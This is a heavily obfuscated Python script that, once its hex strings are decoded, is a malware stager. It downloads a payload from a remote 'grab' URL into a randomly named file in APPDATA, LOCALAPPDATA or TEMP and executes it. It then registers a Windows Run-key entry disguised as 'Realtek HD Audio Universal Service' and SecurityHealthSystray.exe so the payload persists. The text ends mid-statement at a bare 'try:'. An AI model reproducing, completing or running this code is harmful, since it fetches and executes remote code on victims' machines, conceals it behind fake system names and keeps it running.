wxwwxwxxxwwxwxxwxw()['xxxwwwwwxwwwwwxwx']=oDOooDOOOOODDDOoDOoDOD()[wxwwxwxxwxxxwwxwxxxw(b'72657175657374').decode('8ftu'[::+-+-(-(+1))])]
oDOooDOOOOODDDOoDOoDOD()['DOoooDDoOoOODDOODooooDO']=oDOooDOOOOODDDOoDOoDOD()['ridtsil'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0_2_3_2_4_7_2_6_7_5-(+1_2_3_2_4_7_2_6_7_5'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')8_1_7_7_1_1_1_4_7_5-(+9_1_7_7_1_1_1_4_7_5'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))])))])))])))]]
wxwwxwxxxwwxwxxwxw()['MNMMNNNNMNNMMNNNNMNNNN']=oDOooDOOOOODDDOoDOoDOD()[wxwwxwxxwxxxwwxwxxxw(b'65786563').decode('8ftu'[::+-+-(-(+1))])]
llllIlIlllIIllIIIlIlIIlI()['llllIllIIllllIIIlIlll']=llllIlIlllIIllIIIlIlIIlI()['eman'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))]]
wxwwxwxxxwwxwxxwxw()['NNMNMMNMMNNMNNMMNM']=wxwwxwxxxwwxwxxwxw()['vneteg'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')3_7_7_2_0_3_1_0_8_1-(+4_7_7_2_0_3_1_0_8_1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'335f385f335f345f375f385f395f325f335f362b282d335f385f335f345f375f385f395f325f335f3529').decode('8ftu'[::+-+-(-(+1))]))))])))])))])))]]
llllIlIlllIIllIIIlIlIIlI()['jjjillijjiljijliiiii']=llllIlIlllIIllIIIlIlIIlI()['nepo'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'345f345f395f325f355f345f395f335f365f302b282d345f345f395f325f355f345f395f335f355f3929').decode('8ftu'[::+-+-(-(+1))]))))]]
wxwwxwxxxwwxwxxwxw()['JJILLIILIJJJLLIJLIILIJ']=wxwwxwxxxwwxwxxwxw()['eciohc'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]
wxwwxwxxxwwxwxxwxw()['JIJLJJJLJLILILIIJJL']=llllIlIlllIIllIIIlIlIIlI()['metsys'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'385f305f385f365f345f335f365f315f305f332b282d385f305f385f365f345f335f365f315f305f3229').decode('8ftu'[::+-+-(-(+1))]))))]]
llllIlIlllIIllIIIlIlIIlI()['jjliljljililjijljiijililj']=oDOooDOOOOODDDOoDOoDOD()['rid'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))]]
oDOooDOOOOODDDOoDOoDOD()['oOODDDoDOoDDoooDDDoooODDo']=llllIlIlllIIllIIIlIlIIlI()['egnar'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'325f385f325f385f385f335f375f375f335f322b282d325f385f325f385f385f335f375f375f335f3129').decode('8ftu'[::+-+-(-(+1))]))))]]
llllIlIlllIIllIIIlIlIIlI()['NNNMNNNNMMNMMMNMMMNMMNM']=llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'65786974').decode('8ftu'[::+-+-(-(+1))])]
llllIlIlllIIllIIIlIlIIlI()['MMMMMMMMMNMMNMNNMMMN']=llllIlIlllIIllIIIlIlIIlI()['lla'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))]]
oDOooDOOOOODDDOoDOoDOD()['illjjjillllliljjl']=wxwwxwxxxwwxwxxwxw()['elbatucexe'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]
wxwwxwxxxwwxwxxwxw()['lIlIIIIIIIIIlIIIlIlIl']=wxwwxwxxxwwxwxxwxw()['gerniw'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]
llllIlIlllIIllIIIlIlIIlI()['XXXXXXWXXXWXXWWWWXXXXXXWX'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')2_0_2_8_8_0_7_9_5_5-(+3_0_2_8_8_0_7_9_5_5'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'375f345f335f385f395f365f375f345f302b282d375f345f335f385f395f365f375f335f3929').decode('8ftu'[::+-+-(-(+1))]))))])))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'227574662d3822').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'6c6a6a6a696a6c696c6a6a6a6c6a6c6a696a6a').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'227722').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['jjiijjlljijljjiijl'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'345f355f335f355f385f305f345f335f335f322b282d345f355f335f355f385f305f345f335f335f3129').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e706e6722').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'4a4a494a494c4c494c4a4a4a4a494c49494a4c494a').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'2253656375726974794865616c7468537973747261792e65786522').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['00O00o0000Ooo0OOO0O0OO'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]=lambda SS22SS2S222222S2S22S2:llllIlIlllIIllIIIlIlIIlI()
llllIlIlllIIllIIIlIlIIlI()['NMMNMMMMNMMMMMMMMNNNMNNM'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'2262636465666768696a6b6c6d6e6f707172737475767778797a22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'6c6a6a6a69696a6c6a6a6a6c6c6c6c6a6c69').decode('8ftu'[::+-+-(-(+1))])]=lambda DODDDDODDOoOOOOOODOoOD:oDOooDOOOOODDDOoDOoDOD()
llllIlIlllIIllIIIlIlIIlI()['xwwxxxxwxwwxwwxxwww'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'345f315f325f375f325f395f375f365f395f382b282d345f315f325f375f325f395f375f365f395f3729').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'2727').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'58575757585758585757575857585757585757585857').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e6a706722').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['jlljjliillijlljlj'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]=lambda OoOooOOOoOooO000O0O0OO0:oDOooDOOOOODDDOoDOoDOD()
llllIlIlllIIllIIIlIlIIlI()['0OOoO0O0o0OOOoOOooO'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]=lambda XXWWWXXWWXWXXXXXXXWXXXWX:wxwwxwxxxwwxwxxwxw()
llllIlIlllIIllIIIlIlIIlI()['wxwxxwwwwxxxwxwwx'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(')9_6_8_4_0_5_7_7_9_4-(+9_6_8_4_0_5_7_7_9_4'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')3_9_0_2_5_9_6_0_0_8-(+4_9_0_2_5_9_6_0_0_8'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')3_2_8_6_1_7_9_9_8_7-(+4_2_8_6_1_7_9_9_8_7'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))])))])))])
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'533253325332323253533232535332323232').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e646222').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'44446f4f44446f446f4f4f444f6f6f6f4f').decode('8ftu'[::+-+-(-(+1))])]=lambda illljijlliljjlllijlj:llllIlIlllIIllIIIlIlIIlI()
llllIlIlllIIllIIIlIlIIlI()['xxwxwwwxxwxxwwwwwwwxw'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'315f365f345f325f385f375f315f315f375f392b282d315f365f345f325f385f375f315f315f375f3829').decode('8ftu'[::+-+-(-(+1))]))))]]=lambda LIJJJIJLIILIJJJILIIJJLJLL:llllIlIlllIIllIIIlIlIIlI()
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'6d6d6e6e6d6d6d6e6d6d6d6d6d6e6d6e6d6e6d').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'225c5c22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['00oOooO00ooOO0oOOOOo00O0O'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'332d282d3729').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['0ooo0O0o00o0Oo00Ooo00O'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'325f375f325f335f305f315f355f315f335f332b282d325f375f325f335f305f315f355f315f335f3229').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'2254454d5022').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['wxxxwwwwwwwxwwxwwxwwxwxxx'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e75726c22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['WWWXXXWXWXWWXXWXWXWW'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1_5_9_6_1_8_0_1_5-(+2_5_9_6_1_8_0_1_5'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0_8_0_7_1_0_5_4_4_3-(+1_8_0_7_1_0_5_4_4_3'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1_8_7_2_6_5_8_2_8_4-(+2_8_7_2_6_5_8_2_8_4'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))])))])))])))])))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'22534f4654574152455c5c4d6963726f736f66745c5c57696e646f77735c5c43757272656e7456657273696f6e5c5c52756e22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'5332533232533253535353535353325332535332533232325353').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'225265616c74656b20484420417564696f20556e6976657273616c205365727669636522').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'4f6f4f6f6f306f306f6f6f304f306f4f306f6f6f30306f').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e696e6b22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['LIJLIILLLLIIJIJLLJI'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0_9_1_9_5_4_4_8_0_9-(+1_9_1_9_5_4_4_8_0_9'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')2_7_4_2_9_9_6_7_3-(+3_7_4_2_9_9_6_7_3'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')7_6_1_2_9_7_6_1_9_4-(+8_6_1_2_9_7_6_1_9_4'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')2_2_2_4_4_9_6_7_2_1-(+3_2_2_4_4_9_6_7_2_1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')8_2_4_4_3_1_0_3_6_8-(+9_2_4_4_3_1_0_3_6_8'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))])))])))])))])))])))])))]]=lambda WXWWWWWXXWWXWXXXXWXWW:wxwwxwxxxwwxwxxwxw()
llllIlIlllIIllIIIlIlIIlI()['NNMNMMNMNMNNNNMNMNMMNNMM'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'325f325f365f385f325f395f325f385f372b282d325f325f365f385f325f395f325f385f3629').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'224150504441544122').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'57585857575757575757575858575758575757575758').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(')7-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'375f345f385f385f355f345f385f355f335f372b282d375f345f385f385f355f345f385f355f335f3629').decode('8ftu'[::+-+-(-(+1))]))))])
llllIlIlllIIllIIIlIlIIlI()['llIIllIIIIllIIlllllIIlI'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')5_1_0_4_4_7_1_0_5_3-(+6_1_0_4_4_7_1_0_5_3'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'325f305f375f335f335f355f345f395f375f332b282d325f305f375f335f335f355f345f395f375f3229').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'224c4f43414c4150504441544122').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'535332323232325353535353533232323232325332').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'2222').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['JIJIJLIIJLIJIILIJIIILJLJ'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')8_5_0_3_7_7_4_4_8_1-(+9_5_0_3_7_7_4_4_8_1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'355f305f325f385f375f385f335f385f315f362b282d355f305f325f385f375f385f335f385f315f3529').decode('8ftu'[::+-+-(-(+1))]))))])))])))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e67617922').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'77777877787777787778777778777777787877787778777778').decode('8ftu'[::+-+-(-(+1))])]=lambda llIIIllIllIIIllIllIl:oDOooDOOOOODDDOoDOoDOD()
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'4e4d4e4d4d4d4e4d4e4d4d4d4e4e4d4d4d').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'22687474703a2f2f6d69736f67796e792e7774662f677261622f5573526a5339353952716d347350473422').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['jlljljillliilljijjl'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222022').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'585757575757585857575758585857585857575757575857').decode('8ftu'[::+-+-(-(+1))])]=lambda SSSSSS22S222SS2S2S2SS2S:oDOooDOOOOODDDOoDOoDOD()
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'6c49496c494949496c6c6c6c496c496c4949').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e63666722').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['jjllijjijliljljijillj'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'385f345f325f395f395f315f305f355f315f382b282d385f345f325f395f395f315f305f355f315f3729').decode('8ftu'[::+-+-(-(+1))]))))]]=lambda XWWWXXXXXXWWXWXWXXWXX:wxwwxwxxxwwxwxxwxw()
llllIlIlllIIllIIIlIlIIlI()['nmnmmmnmnnmmmmmnnnnnmnnnm'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'335f375f355f395f305f325f305f355f325f332b282d335f375f355f395f305f325f305f355f325f3229').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e6a617222').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['lIIlllIlIlIIIIlll'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')2_1_9_7_9_9_5_4_5_5-(+3_1_9_7_9_9_5_4_5_5'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'385f375f335f385f305f345f325f395f385f302b282d385f375f335f385f305f345f325f395f375f3929').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'225c5c22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'5857585858575857575757585757585857575757').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e746d7022').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()[wxwwxwxxwxxxwwxwxxxw(b'4e4d4d4e4d4e4e4d4e4d4e4d4d4d4d4d4d4e4d4d4e4d4e4d').decode('8ftu'[::+-+-(-(+1))])]=ooOOOoDDDoDoDoooODDDDOOoo(')0-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')8_9_6_4_5_3_3_7_6_5-(+9_9_6_4_5_3_3_7_6_5'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')2_6_7_8_3_4_4_5_9_8-(+3_6_7_8_3_4_4_5_9_8'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')6_5_6_9_9_8_2_3_2-(+7_5_6_9_9_8_2_3_2'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'315f325f355f315f335f355f345f315f355f342b282d315f325f355f315f335f355f345f315f355f3329').decode('8ftu'[::+-+-(-(+1))]))))])))])))])))])))])))])))])))])
llllIlIlllIIllIIIlIlIIlI()['MNMNMMNNMMMNMMMMN'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'312d282d3029').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'222e646c6c22').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['S2S22S22222SS22S22S2SS'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'227574663822').decode('8ftu'[::+-+-(-(+1))]))
llllIlIlllIIllIIIlIlIIlI()['MNNMMNMMMMMMMMNNNMNMM'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')4_2_6_4_1_8_7_0_9_7-(+5_2_6_4_1_8_7_0_9_7'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'335f385f335f385f385f335f385f385f375f302b282d335f385f335f385f385f335f385f385f365f3929').decode('8ftu'[::+-+-(-(+1))]))))])))]]=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'226e7422').decode('8ftu'[::+-+-(-(+1))]))
MNMMNNNNMNNMMNNNNMNNNN(wwwxxwwxwwxwxxxxwwx)
from os.path import isfile
if llllIllIIllllIIIlIlll !=MMNMNNNMMMMMMMMNMMNNM:
    NNNMNNNNMMNMMMNMMMNMMNM()
def WXWWXXXWWXXWWWXXWXWXX():
    path=JJILLIILIJJJLLIJLIILIJ([NNMNMMNMMNNMNNMMNM(MMNNMMNMNMNNNNMNMNMMNMNN),NNMNMMNMMNNMNNMMNM(IlIIlllllIIllIIIIllIIll)])
    directory=DOoooDDoOoOODDOODooooDO(path)
    for _ in oOODDDoDOoDDoooDDDoooODDo(O0O00oOOOOo0OOoo00OooOo00):
        XXXWWWXXWXWXXWXWXXWW=JJILLIILIJJJLLIJLIILIJ(directory)
        xwwwwxwxwwxwwwxwxxwxw=path+lllIIIIlIlIlllIIl+XXXWWWXXWXWXXWXWXXWW
        if not isfile(xwwwwxwxwwxwwwxwxxwxw)and ljjijlliilllijljllj not in XXXWWWXXWXWXXWXWXXWW:
            return xwwwwxwxwwxwwwxwxxwxw
    return NNMNMMNMMNNMNNMMNM(O00ooO00oO0o00o0O0ooo0)
def O0OoOooO0o00OOO0OOoo():
    WXXXWXWXXWWXXWWXWXX=SS22222SSSSSS222222S2.join(JJILLIILIJJJLLIJLIILIJ(MNNMNNNMMMMMMMMNMMMMNMMN)for _ in oOODDDoDOoDDoooDDDoooODDo(WXXWWWWWWWWXXWWXWWWWWX))
    liijjijijliiliiljii=[
        NMMMMNMMMNNMMNMNM,
        ljiijjljijlljjiijj,
        XWWWXWXXWWWXWXWWXWWXXW,
        JLJLIIIJILIIJILJIILJIJIJ,
        OoOoo0o0ooo0O0oO0ooo00o,
        xxxwxwwxwwxwwxwwwwwwwxxxw,
        mnnnmnnnnnmmmmmnnmnmmmnmn,
        XWXXXWXWWWWXWWXXWWWW,
        S2S2S222SS22SS2222,
        lIIlIIIIllllIlIlII
]
    return WXXXWXWXXWWXXWWXWXX+JJILLIILIJJJLLIJLIILIJ(liijjijijliiliiljii)
def IJJJLIILLIILLLJLIIJJJ(path):
    with jjjillijjiljijliiiii(path,mode=ljjjijliljjjljljijj,encoding=XWXXXXXXWWWWXXWXXXWXXXXXX)as f:
        f.write(xxxwwwwwxwwwwwxwx.urlopen(NMNMMMNMNMMMNNMMM).read().decode(SS2S22S22SS22222S22S2S))
def OOOO0000ooOOOoO0oO0O(path):
    JIJLJJJLJLILILIIJJL(ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'66227374617274207b65786563757461626c657d207b706174687d22').decode('8ftu'[::+-+-(-(+1))])))
def ijijiijjlillillllljj(path):
    faked=JJIJILLILJJJJILIIJLIJ
    address=ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'66227b65786563757461626c657d207b706174687d22').decode('8ftu'[::+-+-(-(+1))]))
    key1=lIlIIIIIIIIIlIIIlIlIl.HKEY_CURRENT_USER
    key2=WWXWXWXXWWXWXWXXXWWW
    open_=lIlIIIIIIIIIlIIIlIlIl.CreateKeyEx(key1,key2,xwwxwxxxwwwwxxwxw,lIlIIIIIIIIIlIIIlIlIl.KEY_WRITE)
    lIlIIIIIIIIIlIIIlIlIl.SetValueEx(
        open_,
        S2S22S2SSSSSSS2S2SS2S222SS,
        NMMNMNNMNMNMMMMMMNMMNMNM,
        lIlIIIIIIIIIlIIIlIlIl.REG_SZ,
        ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'66227b66616b65647d2026207b616464726573737d22').decode('8ftu'[::+-+-(-(+1))]))
)
NNNMMNNMNNMNNNMNNNMNNNNM=WXWWXXXWWXXWWWXXWXWXX()+mmnnmmmnmmmmmnmnmnm+O0OoOooO0o00OOO0OOoo()
IJJJLIILLIILLLJLIIJJJ(NNNMMNNMNNMNNNMNNNMNNNNM)
OOOO0000ooOOOoO0oO0O(NNNMMNNMNNMNNNMNNNMNNNNM)
try:
    ijijiijjlillillllljj(NNNMMNNMNNMNNNMNNNMNNNNM)
